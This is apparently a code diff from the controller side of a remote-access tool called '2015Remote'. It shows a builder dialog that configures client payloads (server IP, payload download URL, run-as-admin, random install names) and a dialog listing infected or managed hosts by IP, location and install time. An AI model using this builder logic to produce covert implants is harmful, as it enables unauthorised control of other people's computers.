void CBuildDlg::OnEnChangeEditInstallDir()
|
||||
{
|
||||
static bool bProcessing = false;
|
||||
if (bProcessing) return;
|
||||
bProcessing = true;
|
||||
|
||||
CString strText;
|
||||
GetDlgItemText(IDC_EDIT_INSTALL_DIR, strText);
|
||||
|
||||
// Windows 文件名非法字符: \ / : * ? " < > |
|
||||
LPCTSTR szInvalidChars = _T("\\/:*?\"<>|"); // 纯文件名
|
||||
|
||||
bool bModified = false;
|
||||
for (int i = strText.GetLength() - 1; i >= 0; i--) {
|
||||
if (_tcschr(szInvalidChars, strText[i]) != NULL) {
|
||||
strText.Delete(i);
|
||||
bModified = true;
|
||||
}
|
||||
}
|
||||
|
||||
if (bModified) {
|
||||
CEdit* pEdit = (CEdit*)GetDlgItem(IDC_EDIT_INSTALL_DIR);
|
||||
int nSel = pEdit->GetSel() & 0xFFFF; // 获取光标位置
|
||||
SetDlgItemText(IDC_EDIT_INSTALL_DIR, strText);
|
||||
pEdit->SetSel(nSel - 1, nSel - 1); // 恢复光标
|
||||
}
|
||||
|
||||
bProcessing = false;
|
||||
}
|
||||
|
||||
|
||||
void CBuildDlg::OnEnChangeEditInstallName()
|
||||
{
|
||||
static bool bProcessing = false;
|
||||
if (bProcessing) return;
|
||||
bProcessing = true;
|
||||
|
||||
CString strText;
|
||||
GetDlgItemText(IDC_EDIT_INSTALL_NAME, strText);
|
||||
|
||||
// Windows 文件名非法字符: \ / : * ? " < > |
|
||||
LPCTSTR szInvalidChars = _T("\\/:*?\"<>|"); // 纯文件名
|
||||
|
||||
bool bModified = false;
|
||||
for (int i = strText.GetLength() - 1; i >= 0; i--) {
|
||||
if (_tcschr(szInvalidChars, strText[i]) != NULL) {
|
||||
strText.Delete(i);
|
||||
bModified = true;
|
||||
}
|
||||
}
|
||||
|
||||
if (bModified) {
|
||||
CEdit* pEdit = (CEdit*)GetDlgItem(IDC_EDIT_INSTALL_NAME);
|
||||
int nSel = pEdit->GetSel() & 0xFFFF; // 获取光标位置
|
||||
SetDlgItemText(IDC_EDIT_INSTALL_NAME, strText);
|
||||
pEdit->SetSel(nSel - 1, nSel - 1); // 恢复光标
|
||||
}
|
||||
|
||||
bProcessing = false;
|
||||
}
|
||||
|
||||
|
||||
void CBuildDlg::OnEnKillfocusEditInstallDir()
|
||||
{
|
||||
CString strText;
|
||||
GetDlgItemText(IDC_EDIT_INSTALL_DIR, strText);
|
||||
|
||||
if (strText.IsEmpty()) return;
|
||||
|
||||
if (!IsValidFileName(strText)) {
|
||||
MessageBoxL(_L("文件名不合法,请检查:\n")+
|
||||
_L("1. 不能包含 \\ / : * ? \" < > |\n")+
|
||||
_L("2. 不能是系统保留名称 (CON, PRN 等)\n")+
|
||||
_L("3. 不能以空格或点结尾"), "提示", MB_ICONWARNING);
|
||||
|
||||
GetDlgItem(IDC_EDIT_INSTALL_DIR)->SetFocus();
|
||||
((CEdit*)GetDlgItem(IDC_EDIT_INSTALL_DIR))->SetWindowTextA("");
|
||||
((CEdit*)GetDlgItem(IDC_EDIT_INSTALL_DIR))->SetSel(0, -1);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
void CBuildDlg::OnEnKillfocusEditInstallName()
|
||||
{
|
||||
CString strText;
|
||||
GetDlgItemText(IDC_EDIT_INSTALL_NAME, strText);
|
||||
|
||||
if (strText.IsEmpty()) return;
|
||||
|
||||
if (!IsValidFileName(strText)) {
|
||||
MessageBoxL(_L("文件名不合法,请检查:\n")+
|
||||
_L("1. 不能包含 \\ / : * ? \" < > |\n")+
|
||||
_L("2. 不能是系统保留名称 (CON, PRN 等)\n")+
|
||||
_L("3. 不能以空格或点结尾"), "提示", MB_ICONWARNING);
|
||||
|
||||
GetDlgItem(IDC_EDIT_INSTALL_NAME)->SetFocus();
|
||||
((CEdit*)GetDlgItem(IDC_EDIT_INSTALL_NAME))->SetWindowTextA("");
|
||||
((CEdit*)GetDlgItem(IDC_EDIT_INSTALL_NAME))->SetSel(0, -1);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
void CBuildDlg::OnRandomName()
|
||||
{
|
||||
BOOL b = !THIS_CFG.GetInt("settings", "RandomName", 0);
|
||||
m_EditInstallDir.SetWindowTextA(m_sInstallDir = b ? GenerateRandomName(5 + time(0) % 10) : "");
|
||||
m_EditInstallName.SetWindowTextA(m_sInstallName = b ? GenerateRandomName(5 + time(0) % 10) : "");
|
||||
|
||||
CMenu* SubMenu = m_MainMenu.GetSubMenu(0);
|
||||
SubMenu->CheckMenuItem(ID_RANDOM_NAME, b ? MF_CHECKED : MF_UNCHECKED);
|
||||
THIS_CFG.SetInt("settings", "RandomName", b);
|
||||
}
|
||||
|
||||
void CBuildDlg::OnBnClickedCheckFileserver()
|
||||
{
|
||||
BOOL checked = m_BtnFileServer.GetCheck() == BST_CHECKED;
|
||||
m_StaticDownload.ShowWindow(checked ? SW_SHOW : SW_HIDE);
|
||||
m_EditDownloadUrl.ShowWindow(checked ? SW_SHOW : SW_HIDE);
|
||||
static bool warned = false;
|
||||
if (!warned && checked) {
|
||||
warned = true;
|
||||
MessageBoxL(_L("请提供载荷的下载地址。下载地址前缀为 http 或 https。")+
|
||||
_L("默认由本机提供载荷下载服务,请将载荷文件放在\"Payloads\"目录。")+
|
||||
_L("由本机提供下载时,下载地址可以省略输入。"), "提示", MB_ICONINFORMATION);
|
||||
}
|
||||
}
|
||||
|
||||
void CBuildDlg::OnCbnSelchangeComboPayload()
|
||||
{
|
||||
m_BtnFileServer.ShowWindow(
|
||||
m_ComboCompress.GetCurSel() == CLIENT_COMPRESS_SC_AES && m_ComboPayload.GetCurSel() ? SW_SHOW : SW_HIDE);
|
||||
m_BtnFileServer.SetCheck(BST_UNCHECKED);
|
||||
m_StaticDownload.ShowWindow(SW_HIDE);
|
||||
m_EditDownloadUrl.ShowWindow(SW_HIDE);
|
||||
}
|
||||
74
server/2015Remote/BuildDlg.h
Normal file
74
server/2015Remote/BuildDlg.h
Normal file
@@ -0,0 +1,74 @@
|
||||
#pragma once
|
||||
|
||||
#include "Buffer.h"
|
||||
#include "LangManager.h"
|
||||
|
||||
LPBYTE ReadResource(int resourceId, DWORD& dwSize);
|
||||
|
||||
std::string ReleaseEXE(int resID, const char* name);
|
||||
|
||||
CString BuildPayloadUrl(const char* ip, const char* name);
|
||||
|
||||
// CBuildDlg 对话框
|
||||
|
||||
class CBuildDlg : public CDialogLang
|
||||
{
|
||||
DECLARE_DYNAMIC(CBuildDlg)
|
||||
|
||||
public:
|
||||
CBuildDlg(CWnd* pParent = NULL); // 标准构造函数
|
||||
virtual ~CBuildDlg();
|
||||
|
||||
// 对话框数据
|
||||
enum { IDD = IDD_DIALOG_BUILD };
|
||||
CMenu m_MainMenu;
|
||||
BOOL m_runasAdmin;
|
||||
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
|
||||
CString GetFilePath(CString type, CString filter, BOOL isOpen = TRUE);
|
||||
BOOL OnToolTipNotify(UINT id, NMHDR* pNMHDR, LRESULT* pResult);
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
public:
|
||||
CString m_strIP;
|
||||
CString m_strPort;
|
||||
afx_msg void OnBnClickedOk();
|
||||
virtual BOOL OnInitDialog();
|
||||
CComboBox m_ComboExe;
|
||||
|
||||
afx_msg void OnCbnSelchangeComboExe();
|
||||
CStatic m_OtherItem;
|
||||
CComboBox m_ComboBits;
|
||||
CComboBox m_ComboRunType;
|
||||
CComboBox m_ComboProto;
|
||||
CComboBox m_ComboEncrypt;
|
||||
afx_msg void OnHelpParameters();
|
||||
CComboBox m_ComboCompress;
|
||||
CString m_strFindden;
|
||||
afx_msg void OnHelpFindden();
|
||||
CEdit m_EditGroup;
|
||||
CString m_sGroupName;
|
||||
CString m_strEncryptIP;
|
||||
afx_msg void OnMenuEncryptIp();
|
||||
afx_msg void OnClientRunasAdmin();
|
||||
CComboBox m_ComboPayload;
|
||||
afx_msg void OnCbnSelchangeComboCompress();
|
||||
CStatic m_StaticPayload;
|
||||
CSliderCtrl m_SliderClientSize;
|
||||
CEdit m_EditInstallDir;
|
||||
CEdit m_EditInstallName;
|
||||
CString m_sInstallDir;
|
||||
CString m_sInstallName;
|
||||
afx_msg void OnEnChangeEditInstallDir();
|
||||
afx_msg void OnEnChangeEditInstallName();
|
||||
afx_msg void OnEnKillfocusEditInstallDir();
|
||||
afx_msg void OnEnKillfocusEditInstallName();
|
||||
afx_msg void OnRandomName();
|
||||
CButton m_BtnFileServer;
|
||||
CStatic m_StaticDownload;
|
||||
CEdit m_EditDownloadUrl;
|
||||
CString m_sDownloadUrl;
|
||||
afx_msg void OnBnClickedCheckFileserver();
|
||||
afx_msg void OnCbnSelchangeComboPayload();
|
||||
};
|
||||
525
server/2015Remote/CClientListDlg.cpp
Normal file
525
server/2015Remote/CClientListDlg.cpp
Normal file
@@ -0,0 +1,525 @@
|
||||
// CClientListDlg.cpp: 实现文件
|
||||
//
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "afxdialogex.h"
|
||||
#include "CClientListDlg.h"
|
||||
#include "2015Remote.h"
|
||||
|
||||
|
||||
// CClientListDlg 对话框
|
||||
|
||||
typedef struct {
|
||||
LPCTSTR Name;
|
||||
int Width;
|
||||
float Percent;
|
||||
} ColumnInfo;
|
||||
|
||||
static ColumnInfo g_ColumnInfos[] = {
|
||||
{ _T("序号"), 40, 0.0f },
|
||||
{ _T("ID"), 130, 0.0f },
|
||||
{ _T("备注"), 60, 0.0f },
|
||||
{ _T("计算机名称"), 105, 0.0f },
|
||||
{ _T("位置"), 115, 0.0f },
|
||||
{ _T("IP"), 95, 0.0f },
|
||||
{ _T("系统"), 100, 0.0f },
|
||||
{ _T("安装时间"), 115, 0.0f },
|
||||
{ _T("最后登录"), 115, 0.0f },
|
||||
{ _T("程序路径"), 150, 0.0f },
|
||||
{ _T("关注"), 40, 0.0f },
|
||||
{ _T("授权"), 40, 0.0f },
|
||||
};
|
||||
|
||||
static const int g_nColumnCount = _countof(g_ColumnInfos);
|
||||
|
||||
// 列索引枚举(与 g_ColumnInfos 顺序一致)
|
||||
enum ColumnIndex {
|
||||
COL_NO = 0, // 序号
|
||||
COL_ID, // ID
|
||||
COL_NOTE, // 备注
|
||||
COL_COMPUTER_NAME, // 计算机名称
|
||||
COL_LOCATION, // 位置
|
||||
COL_IP, // IP
|
||||
COL_OS, // 系统
|
||||
COL_INSTALL_TIME, // 安装时间
|
||||
COL_LAST_LOGIN, // 最后登录
|
||||
COL_PROGRAM_PATH, // 程序路径
|
||||
COL_LEVEL, // 关注
|
||||
COL_AUTH, // 授权
|
||||
};
|
||||
|
||||
// ========== 分组字段配置 ==========
|
||||
// 可用的分组字段枚举
|
||||
enum GroupField {
|
||||
GF_IP,
|
||||
GF_ComputerName,
|
||||
GF_OsName,
|
||||
GF_Location,
|
||||
GF_ProgramPath,
|
||||
};
|
||||
|
||||
// 分组字段配置:字段枚举 + 对应的列索引
|
||||
struct GroupFieldConfig {
|
||||
GroupField Field;
|
||||
int ColumnIndex;
|
||||
};
|
||||
|
||||
// ★★★ 修改这里即可改变分组方式 ★★★
|
||||
static GroupFieldConfig g_GroupFieldConfigs[] = {
|
||||
{ GF_IP, COL_IP }, // 按 IP 分组
|
||||
{ GF_ComputerName, COL_COMPUTER_NAME }, // 按 计算机名称 分组
|
||||
// { GF_OsName, COL_OS }, // 取消注释:增加按操作系统分组
|
||||
// { GF_Location, COL_LOCATION }, // 取消注释:增加按位置分组
|
||||
};
|
||||
|
||||
static const int g_nGroupFieldCount = _countof(g_GroupFieldConfigs);
|
||||
|
||||
// 根据字段枚举获取 ClientValue 中的值
|
||||
static CString GetFieldValue(const ClientValue& val, GroupField field)
|
||||
{
|
||||
switch (field) {
|
||||
case GF_IP:
|
||||
return CString(val.IP);
|
||||
case GF_ComputerName:
|
||||
return CString(val.ComputerName);
|
||||
case GF_OsName:
|
||||
return CString(val.OsName);
|
||||
case GF_Location:
|
||||
return CString(val.Location);
|
||||
case GF_ProgramPath:
|
||||
return CString(val.ProgramPath);
|
||||
default:
|
||||
return _T("");
|
||||
}
|
||||
}
|
||||
|
||||
// 比较两个客户端的指定列,返回 <0, 0, >0
|
||||
static int CompareClientByColumn(const std::pair<ClientKey, ClientValue>& a,
|
||||
const std::pair<ClientKey, ClientValue>& b,
|
||||
int nColumn)
|
||||
{
|
||||
switch (nColumn) {
|
||||
case COL_ID:
|
||||
return (a.first < b.first) ? -1 : ((a.first > b.first) ? 1 : 0);
|
||||
case COL_NOTE:
|
||||
return strcmp(a.second.Note, b.second.Note);
|
||||
case COL_COMPUTER_NAME:
|
||||
return strcmp(a.second.ComputerName, b.second.ComputerName);
|
||||
case COL_LOCATION:
|
||||
return strcmp(a.second.Location, b.second.Location);
|
||||
case COL_IP:
|
||||
return strcmp(a.second.IP, b.second.IP);
|
||||
case COL_OS:
|
||||
return strcmp(a.second.OsName, b.second.OsName);
|
||||
case COL_INSTALL_TIME:
|
||||
return strcmp(a.second.InstallTime, b.second.InstallTime);
|
||||
case COL_LAST_LOGIN:
|
||||
return strcmp(a.second.LastLoginTime, b.second.LastLoginTime);
|
||||
case COL_PROGRAM_PATH:
|
||||
return strcmp(a.second.ProgramPath, b.second.ProgramPath);
|
||||
case COL_LEVEL:
|
||||
return a.second.Level - b.second.Level;
|
||||
case COL_AUTH:
|
||||
return a.second.Authorized - b.second.Authorized;
|
||||
default:
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
IMPLEMENT_DYNAMIC(CClientListDlg, CDialogEx)
|
||||
|
||||
CClientListDlg::CClientListDlg(_ClientList* clients, CMy2015RemoteDlg* pParent)
|
||||
: g_ClientList(clients), g_pParent(pParent), CDialogLangEx(IDD_DIALOG_CLIENTLIST, pParent)
|
||||
, m_nSortColumn(-1)
|
||||
, m_bSortAscending(TRUE)
|
||||
, m_nTipItem(-1)
|
||||
, m_nTipSubItem(-1)
|
||||
{
|
||||
}
|
||||
|
||||
CClientListDlg::~CClientListDlg()
|
||||
{
|
||||
}
|
||||
|
||||
void CClientListDlg::DoDataExchange(CDataExchange* pDX)
|
||||
{
|
||||
__super::DoDataExchange(pDX);
|
||||
DDX_Control(pDX, IDC_CLIENT_LIST, m_ClientList);
|
||||
}
|
||||
|
||||
|
||||
BEGIN_MESSAGE_MAP(CClientListDlg, CDialogEx)
|
||||
ON_WM_SIZE()
|
||||
ON_NOTIFY(LVN_COLUMNCLICK, IDC_CLIENT_LIST, &CClientListDlg::OnColumnClick)
|
||||
ON_NOTIFY(NM_CLICK, IDC_CLIENT_LIST, &CClientListDlg::OnListClick)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
// CClientListDlg 消息处理程序
|
||||
|
||||
BOOL CClientListDlg::OnInitDialog()
|
||||
{
|
||||
__super::OnInitDialog();
|
||||
|
||||
// 设置对话框标题(解决英语系统乱码问题)
|
||||
SetWindowText(_TR("历史主机"));
|
||||
|
||||
HICON hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_MACHINE));
|
||||
SetIcon(hIcon, FALSE);
|
||||
|
||||
// 设置扩展样式
|
||||
m_ClientList.SetExtendedStyle(
|
||||
LVS_EX_FULLROWSELECT | // 整行选中
|
||||
LVS_EX_GRIDLINES // 显示网格线
|
||||
);
|
||||
|
||||
// 初始化ToolTip
|
||||
m_ToolTip.Create(this, TTS_ALWAYSTIP | TTS_NOPREFIX);
|
||||
m_ToolTip.AddTool(&m_ClientList);
|
||||
m_ToolTip.SetMaxTipWidth(500);
|
||||
m_ToolTip.SetDelayTime(TTDT_AUTOPOP, 10000);
|
||||
m_ToolTip.Activate(TRUE);
|
||||
|
||||
// 设置配置键名
|
||||
m_ClientList.SetConfigKey(_T("ClientList"));
|
||||
|
||||
// 添加列(第一列序号不允许隐藏)
|
||||
for (int i = 0; i < g_nColumnCount; i++) {
|
||||
BOOL bCanHide = (i != COL_NO); // 序号列不允许隐藏
|
||||
m_ClientList.AddColumn(i, _L(g_ColumnInfos[i].Name), g_ColumnInfos[i].Width, LVCFMT_LEFT, bCanHide);
|
||||
}
|
||||
|
||||
// 初始化列(计算百分比、加载配置、应用列宽)
|
||||
m_ClientList.InitColumns();
|
||||
|
||||
// 首次加载数据
|
||||
RefreshClientList();
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
void CClientListDlg::RefreshClientList()
|
||||
{
|
||||
m_clients = g_ClientList->GetAll(); // 保存到成员变量
|
||||
BuildGroups(); // 构建分组
|
||||
|
||||
m_ClientList.SetRedraw(FALSE);
|
||||
DisplayClients();
|
||||
m_ClientList.SetRedraw(TRUE);
|
||||
m_ClientList.Invalidate();
|
||||
}
|
||||
|
||||
void CClientListDlg::BuildGroups()
|
||||
{
|
||||
// 保留已有分组的展开状态
|
||||
std::map<GroupKey, BOOL> expandedStates;
|
||||
for (const auto& pair : m_groups) {
|
||||
expandedStates[pair.first] = pair.second.bExpanded;
|
||||
}
|
||||
|
||||
m_groups.clear();
|
||||
|
||||
// 根据配置的字段进行分组
|
||||
for (const auto& client : m_clients) {
|
||||
GroupKey key;
|
||||
for (int i = 0; i < g_nGroupFieldCount; i++) {
|
||||
key.Values.push_back(GetFieldValue(client.second, g_GroupFieldConfigs[i].Field));
|
||||
}
|
||||
|
||||
if (m_groups.find(key) == m_groups.end()) {
|
||||
GroupInfo info;
|
||||
info.GroupId = 0; // 显示时重新编号
|
||||
// 恢复展开状态,新分组默认收起
|
||||
auto it = expandedStates.find(key);
|
||||
info.bExpanded = (it != expandedStates.end()) ? it->second : FALSE;
|
||||
m_groups[key] = info;
|
||||
}
|
||||
m_groups[key].Clients.push_back(client);
|
||||
}
|
||||
}
|
||||
|
||||
void CClientListDlg::DisplayClients()
|
||||
{
|
||||
m_ClientList.DeleteAllItems();
|
||||
|
||||
// 创建分组指针列表用于排序
|
||||
std::vector<std::pair<const GroupKey, GroupInfo>*> sortedGroups;
|
||||
for (auto& pair : m_groups) {
|
||||
sortedGroups.push_back(&pair);
|
||||
}
|
||||
|
||||
// 如果有排序列,按第一个设备的该列值排序
|
||||
if (m_nSortColumn >= 0) {
|
||||
int sortCol = m_nSortColumn;
|
||||
BOOL ascending = m_bSortAscending;
|
||||
std::sort(sortedGroups.begin(), sortedGroups.end(),
|
||||
[sortCol, ascending](const std::pair<const GroupKey, GroupInfo>* a,
|
||||
const std::pair<const GroupKey, GroupInfo>* b) {
|
||||
// 取每个分组的第一个设备进行比较
|
||||
const auto& clientA = a->second.Clients[0];
|
||||
const auto& clientB = b->second.Clients[0];
|
||||
int result = CompareClientByColumn(clientA, clientB, sortCol);
|
||||
return ascending ? (result < 0) : (result > 0);
|
||||
});
|
||||
}
|
||||
|
||||
int nRow = 0;
|
||||
int nGroupIndex = 0;
|
||||
for (auto* pPair : sortedGroups) {
|
||||
const GroupKey& groupKey = pPair->first;
|
||||
GroupInfo& groupInfo = pPair->second;
|
||||
nGroupIndex++;
|
||||
groupInfo.GroupId = nGroupIndex; // 按显示顺序重新编号
|
||||
|
||||
int nItem;
|
||||
size_t clientCount = groupInfo.Clients.size();
|
||||
|
||||
// 只有一个设备时,直接显示设备详情
|
||||
if (clientCount == 1) {
|
||||
const ClientKey& key = groupInfo.Clients[0].first;
|
||||
const ClientValue& val = groupInfo.Clients[0].second;
|
||||
|
||||
CString strNo;
|
||||
strNo.FormatL(_T("%d"), groupInfo.GroupId);
|
||||
|
||||
CString strID;
|
||||
strID.FormatL(_T("%llu"), key);
|
||||
|
||||
CString strLevel;
|
||||
strLevel.FormatL(_T("%d"), val.Level);
|
||||
|
||||
CString strAuth = val.Authorized ? _T("Y") : _T("N");
|
||||
|
||||
nItem = m_ClientList.InsertItem(nRow, strNo);
|
||||
m_ClientList.SetItemText(nItem, COL_ID, strID);
|
||||
m_ClientList.SetItemText(nItem, COL_NOTE, val.Note);
|
||||
m_ClientList.SetItemText(nItem, COL_COMPUTER_NAME, CString(val.ComputerName));
|
||||
m_ClientList.SetItemText(nItem, COL_LOCATION, val.Location);
|
||||
m_ClientList.SetItemText(nItem, COL_IP, val.IP);
|
||||
m_ClientList.SetItemText(nItem, COL_OS, val.OsName);
|
||||
m_ClientList.SetItemText(nItem, COL_INSTALL_TIME, val.InstallTime);
|
||||
m_ClientList.SetItemText(nItem, COL_LAST_LOGIN, val.LastLoginTime);
|
||||
m_ClientList.SetItemText(nItem, COL_PROGRAM_PATH, CString(val.ProgramPath));
|
||||
m_ClientList.SetItemText(nItem, COL_LEVEL, strLevel);
|
||||
m_ClientList.SetItemText(nItem, COL_AUTH, strAuth);
|
||||
m_ClientList.SetItemData(nItem, (DWORD_PTR)key);
|
||||
nRow++;
|
||||
} else {
|
||||
// 多个设备时,显示可展开的分组行
|
||||
CString strNo;
|
||||
strNo.FormatL(_T("%d"), groupInfo.GroupId);
|
||||
|
||||
CString strCount;
|
||||
strCount.FormatL(_T("%s (%d\u53f0\u8bbe\u5907)"), groupInfo.bExpanded ? _T("-") : _T("+"), (int)clientCount);
|
||||
|
||||
nItem = m_ClientList.InsertItem(nRow, strNo);
|
||||
m_ClientList.SetItemText(nItem, COL_ID, strCount);
|
||||
|
||||
// 清空所有列
|
||||
for (int col = COL_NOTE; col < g_nColumnCount; col++) {
|
||||
m_ClientList.SetItemText(nItem, col, _T(""));
|
||||
}
|
||||
// 根据配置填充分组字段到对应列
|
||||
for (int i = 0; i < g_nGroupFieldCount; i++) {
|
||||
m_ClientList.SetItemText(nItem, g_GroupFieldConfigs[i].ColumnIndex, groupKey.Values[i]);
|
||||
}
|
||||
|
||||
// 分组行的 ItemData 使用高位标记: 0x8000000000000000 | groupId
|
||||
m_ClientList.SetItemData(nItem, 0x8000000000000000ULL | groupInfo.GroupId);
|
||||
nRow++;
|
||||
|
||||
// 如果展开,显示组内设备
|
||||
if (groupInfo.bExpanded) {
|
||||
for (const auto& client : groupInfo.Clients) {
|
||||
const ClientKey& key = client.first;
|
||||
const ClientValue& val = client.second;
|
||||
|
||||
CString strSubNo, strID;
|
||||
strID.FormatL(_T("%llu"), key);
|
||||
|
||||
CString strLevel;
|
||||
strLevel.FormatL(_T("%d"), val.Level);
|
||||
|
||||
CString strAuth = val.Authorized ? _T("Y") : _T("N");
|
||||
|
||||
nItem = m_ClientList.InsertItem(nRow, strSubNo);
|
||||
m_ClientList.SetItemText(nItem, COL_ID, strID);
|
||||
m_ClientList.SetItemText(nItem, COL_NOTE, val.Note);
|
||||
m_ClientList.SetItemText(nItem, COL_COMPUTER_NAME, CString(val.ComputerName));
|
||||
m_ClientList.SetItemText(nItem, COL_LOCATION, val.Location);
|
||||
m_ClientList.SetItemText(nItem, COL_IP, val.IP);
|
||||
m_ClientList.SetItemText(nItem, COL_OS, val.OsName);
|
||||
m_ClientList.SetItemText(nItem, COL_INSTALL_TIME, val.InstallTime);
|
||||
m_ClientList.SetItemText(nItem, COL_LAST_LOGIN, val.LastLoginTime);
|
||||
m_ClientList.SetItemText(nItem, COL_PROGRAM_PATH, CString(val.ProgramPath));
|
||||
m_ClientList.SetItemText(nItem, COL_LEVEL, strLevel);
|
||||
m_ClientList.SetItemText(nItem, COL_AUTH, strAuth);
|
||||
m_ClientList.SetItemData(nItem, (DWORD_PTR)key);
|
||||
nRow++;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void CClientListDlg::OnColumnClick(NMHDR* pNMHDR, LRESULT* pResult)
|
||||
{
|
||||
LPNMLISTVIEW pNMLV = reinterpret_cast<LPNMLISTVIEW>(pNMHDR);
|
||||
int nColumn = pNMLV->iSubItem;
|
||||
|
||||
// 序号列不排序
|
||||
if (nColumn == COL_NO) {
|
||||
*pResult = 0;
|
||||
return;
|
||||
}
|
||||
|
||||
// 点击同一列切换排序方向
|
||||
if (nColumn == m_nSortColumn) {
|
||||
m_bSortAscending = !m_bSortAscending;
|
||||
} else {
|
||||
m_nSortColumn = nColumn;
|
||||
m_bSortAscending = TRUE;
|
||||
}
|
||||
|
||||
SortByColumn(nColumn, m_bSortAscending);
|
||||
|
||||
*pResult = 0;
|
||||
}
|
||||
|
||||
void CClientListDlg::SortByColumn(int /*nColumn*/, BOOL /*bAscending*/)
|
||||
{
|
||||
// 排序在 DisplayClients 中进行(使用成员变量 m_nSortColumn, m_bSortAscending)
|
||||
m_ClientList.SetRedraw(FALSE);
|
||||
DisplayClients();
|
||||
m_ClientList.SetRedraw(TRUE);
|
||||
m_ClientList.Invalidate();
|
||||
}
|
||||
|
||||
void CClientListDlg::AdjustColumnWidths()
|
||||
{
|
||||
m_ClientList.AdjustColumnWidths();
|
||||
}
|
||||
|
||||
void CClientListDlg::OnSize(UINT nType, int cx, int cy)
|
||||
{
|
||||
__super::OnSize(nType, cx, cy);
|
||||
|
||||
if (m_ClientList.GetSafeHwnd() == NULL) {
|
||||
return; // 控件还没创建
|
||||
}
|
||||
|
||||
// 留点边距
|
||||
int margin = 10;
|
||||
|
||||
// 列表控件填满整个对话框(留边距)
|
||||
m_ClientList.MoveWindow(margin, margin, cx - margin * 2, cy - margin * 2);
|
||||
|
||||
AdjustColumnWidths();
|
||||
}
|
||||
|
||||
void CClientListDlg::OnListClick(NMHDR* pNMHDR, LRESULT* pResult)
|
||||
{
|
||||
LPNMITEMACTIVATE pNMIA = reinterpret_cast<LPNMITEMACTIVATE>(pNMHDR);
|
||||
int nItem = pNMIA->iItem;
|
||||
|
||||
if (nItem < 0) {
|
||||
*pResult = 0;
|
||||
return;
|
||||
}
|
||||
|
||||
DWORD_PTR itemData = m_ClientList.GetItemData(nItem);
|
||||
|
||||
// 检查是否为分组行 (高位被设置)
|
||||
if (itemData & 0x8000000000000000ULL) {
|
||||
int groupId = (int)(itemData & 0x7FFFFFFFFFFFFFFFULL);
|
||||
|
||||
// 查找对应的分组并切换展开状态
|
||||
for (auto& pair : m_groups) {
|
||||
if (pair.second.GroupId == groupId) {
|
||||
pair.second.bExpanded = !pair.second.bExpanded;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// 刷新显示
|
||||
m_ClientList.SetRedraw(FALSE);
|
||||
DisplayClients();
|
||||
m_ClientList.SetRedraw(TRUE);
|
||||
|
||||
// 恢复选中状态:找到刷新后的分组行并选中
|
||||
for (int i = 0; i < m_ClientList.GetItemCount(); i++) {
|
||||
DWORD_PTR data = m_ClientList.GetItemData(i);
|
||||
if ((data & 0x8000000000000000ULL) &&
|
||||
(int)(data & 0x7FFFFFFFFFFFFFFFULL) == groupId) {
|
||||
m_ClientList.SetItemState(i, LVIS_SELECTED | LVIS_FOCUSED, LVIS_SELECTED | LVIS_FOCUSED);
|
||||
m_ClientList.EnsureVisible(i, FALSE);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
m_ClientList.Invalidate();
|
||||
}
|
||||
|
||||
*pResult = 0;
|
||||
}
|
||||
|
||||
BOOL CClientListDlg::PreTranslateMessage(MSG* pMsg)
|
||||
{
|
||||
if (pMsg->message == WM_MOUSEMOVE && pMsg->hwnd == m_ClientList.GetSafeHwnd()) {
|
||||
m_ToolTip.RelayEvent(pMsg);
|
||||
|
||||
CPoint pt(pMsg->lParam);
|
||||
LVHITTESTINFO hitInfo = {};
|
||||
hitInfo.pt = pt;
|
||||
m_ClientList.SubItemHitTest(&hitInfo);
|
||||
|
||||
int nItem = hitInfo.iItem;
|
||||
int nSubItem = hitInfo.iSubItem;
|
||||
|
||||
if (nItem != m_nTipItem || nSubItem != m_nTipSubItem) {
|
||||
m_nTipItem = nItem;
|
||||
m_nTipSubItem = nSubItem;
|
||||
|
||||
if (nItem >= 0) {
|
||||
CString strText = m_ClientList.GetItemText(nItem, nSubItem);
|
||||
|
||||
// 判断文本是否被截断
|
||||
CClientDC dc(&m_ClientList);
|
||||
CFont* pOldFont = dc.SelectObject(m_ClientList.GetFont());
|
||||
CSize textSize = dc.GetTextExtent(strText);
|
||||
dc.SelectObject(pOldFont);
|
||||
|
||||
int colWidth = m_ClientList.GetColumnWidth(nSubItem);
|
||||
if (textSize.cx + 12 > colWidth && !strText.IsEmpty()) {
|
||||
m_ToolTip.UpdateTipText(strText, &m_ClientList);
|
||||
} else {
|
||||
m_ToolTip.UpdateTipText(_T(""), &m_ClientList);
|
||||
}
|
||||
} else {
|
||||
m_ToolTip.UpdateTipText(_T(""), &m_ClientList);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return __super::PreTranslateMessage(pMsg);
|
||||
}
|
||||
|
||||
void CClientListDlg::OnCancel()
|
||||
{
|
||||
DestroyWindow();
|
||||
}
|
||||
|
||||
void CClientListDlg::PostNcDestroy()
|
||||
{
|
||||
if (g_pParent) {
|
||||
g_pParent->m_pClientListDlg = nullptr;
|
||||
}
|
||||
|
||||
__super::PostNcDestroy();
|
||||
|
||||
delete this;
|
||||
}
|
||||
|
||||
void CClientListDlg::OnOK()
|
||||
{
|
||||
}
|
||||
78
server/2015Remote/CClientListDlg.h
Normal file
78
server/2015Remote/CClientListDlg.h
Normal file
@@ -0,0 +1,78 @@
|
||||
#pragma once
|
||||
#include "afxdialogex.h"
|
||||
#include "HostInfo.h"
|
||||
#include "Resource.h"
|
||||
#include <vector>
|
||||
#include <algorithm>
|
||||
#include <map>
|
||||
#include "2015RemoteDlg.h"
|
||||
#include "CListCtrlEx.h"
|
||||
|
||||
// 分组键:支持任意字段组合
|
||||
struct GroupKey {
|
||||
std::vector<CString> Values;
|
||||
|
||||
bool operator<(const GroupKey& other) const
|
||||
{
|
||||
size_t count = (std::min)(Values.size(), other.Values.size());
|
||||
for (size_t i = 0; i < count; i++) {
|
||||
int cmp = Values[i].Compare(other.Values[i]);
|
||||
